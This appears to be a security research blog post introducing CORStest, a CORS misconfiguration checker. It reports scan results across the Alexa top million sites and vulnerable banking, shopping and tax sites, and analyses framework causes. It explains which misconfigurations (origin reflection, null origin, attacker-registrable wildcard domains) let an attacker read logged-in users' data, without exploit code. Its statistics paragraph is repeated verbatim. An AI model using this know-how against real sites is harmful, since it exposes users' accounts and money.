Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag): This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard): 
The issue: CORS misconfiguration
Cross-Origin Resource Sharing (CORS) is a technique to punch holes into the Same-Origin Policy (SOP) – on purpose. It enables web servers to explicitly allow cross-site access to a certain resource by returning an Access-Control-Allow-Origin (ACAO) header. Sometimes, the value is even dynamically generated based on user-input such as the Origin header send by the browser. If misconfigured, an unintended website can access the resource. Furthermore, if the Access-Control-Allow-Credentials (ACAC) server header is set, an attacker can potentially leak sensitive information from a logged in user – which is almost as bad as XSS on the actual website. Below is a list of CORS misconfigurations which can potentially be exploited. For more technical details on the issues read the this fine blogpost.| Misconfiguation | Description |
|---|---|
| Developer backdoor | Insecure developer/debug origins like JSFiddler CodePen are allowed to access the resource |
| Origin reflection | The origin is simply echoed in ACAO header, any site is allowed to access the resource |
| Null misconfiguration | Any site is allowed access by forcing the null origin via a sandboxed iframe |
| Pre-domain wildcard | notdomain.com is allowed access, which can simply be registered by the attacker |
| Post-domain wildcard | domain.com.evil.com is allowed access, can be simply be set up by the attacker |
| Subdomains allowed | sub.domain.com allowed access, exploitable if the attacker finds XSS in any subdomain |
| Non-SSL sites allowed | An HTTP origin is allowed access to a HTTPS resource, allows MitM to break encryption |
| Invalid CORS header | Wrong use of wildcard or multiple origins,not a security problem but should be fixed |
The tool: CORStest
Testing for such vulnerabilities can easily be done with curl(1). To support some more options like, for example, parallelization we wrote CORStest, a simple Python based CORS misconfiguration checker. It takes a text file containing a list of domain names or URLs to check for misconfigurations as input and supports some further options: CORStest can detect potential vulnerabilities by sending various Origin request headers and checking for the Access-Control-Allow-Origin response. An example for those of the Alexa top 750 websites which allow credentials for CORS requests is given below. Evaluation with Alexa top 1 Million websites
To evaluate – on a larger scale – how many sites actually have wide-open CORS configurations we did run CORStest on the Alexa top 1 million sites: This test took about 14 hours on a decent connection and revealed the following results: Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag): This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard): The Impact: SOP/SSL bypass on payment and taxpayer sites
Note that not all tested websites actually were exploitable. Some contained only public data and some others - such as Bitbucket - had CORS enabled for their main page but not for subpages containing user data. Manually testing the sites, we found to be vulnerable:- A dozen of online banking, bitcoin and other payment sites; one of them allowed us to create a test account so we were able to write proof-of-concept code which could actually have been used to steal money
- Hundred of online shops/e-commerce sites and a bunch of hotel/flight booking sites
- Various social networks and misc sites which allow users to log in and communicate
- One US state's tax filing website (however, this one was exploitable by a MitM only)
The Reason: Copy & Paste and broken frameworks
We were further interested in reasons for CORS misconfigurations. Particularly we wanted to learn if there is a correlation between applied technology and misconfiguration. Therefore we used WhatWeb to fingerprint the web technologies for all vulnerable sites. CORS is usually enabled either directly in the HTTP server configuration or by the web application/framework. While we could not identify a single major cause for CORS misconfigurations, we found various potential reasons. A majority of dangerous Access-Control-* headers had probably been introduced by developers, others however are based on bugs and bad practices in some products. Insights follow:- Various websites return invalid CORS headers; besides wrong use of wildcards such as *.domain.com, ACAO headers which contain multiple origins can often be found; Other examples of invalid - but quite creative - ACAO values we observed are: self, true, false, undefined, None, 0, (null), domain, origin, SAMEORIGIN
- Rack::Cors, the de facto standard library to enable CORS for Ruby on Rails maps origins '' or origins '*' into reflecting arbitrary origins; this is dangerous, because developers would think that '' allows nothing and '*' behaves according to the spec: mostly harmless because it cannot be used to make to make 'credentialed' requests; this config error leads to origin reflection with ACAC headers on about a hundred of the tested and vulnerable websites
- A majority of websites which allow a http origin to CORS access a https resource are run on IIS; this seems to be no bug in IIS itself but rather caused by bad advises found on the Internet
- nginx is the winner when it comes serving websites with origin reflections; again, this is not an issue of nginx but of dangerous configs copied from "Stackoverflow; same problem for Phusion Passenger
- The null ACAO value may be based on programming languages that simply return null if no value is given (we haven't found any specific framework though); another explanation is that 'CORS in Action', a popular book on CORS, contains various examples with code such as var originWhitelist = ['null', ...], which could be misinterpreted by developers as safe
- If CORS is enabled in the crVCL PHP Framework, it adds ACAC and ACAO headers for a configured domain. Unfortunatelly, it also introduces a post-domain and pre-subdomain wildcard vulnerability: sub.domain.com.evil.com
- All sites that are based on "Solo Build It!" (scam?) respond with: Access-Control-Allow-Origin: http://sbiapps.sitesell.com
- Some sites have :// or // as fixed ACAO values. How should browsers deal with this? Inconsistent at least! Firefox, Chrome, Safari and Opera allow arbitrary origins while IE and Edge deny all origins.
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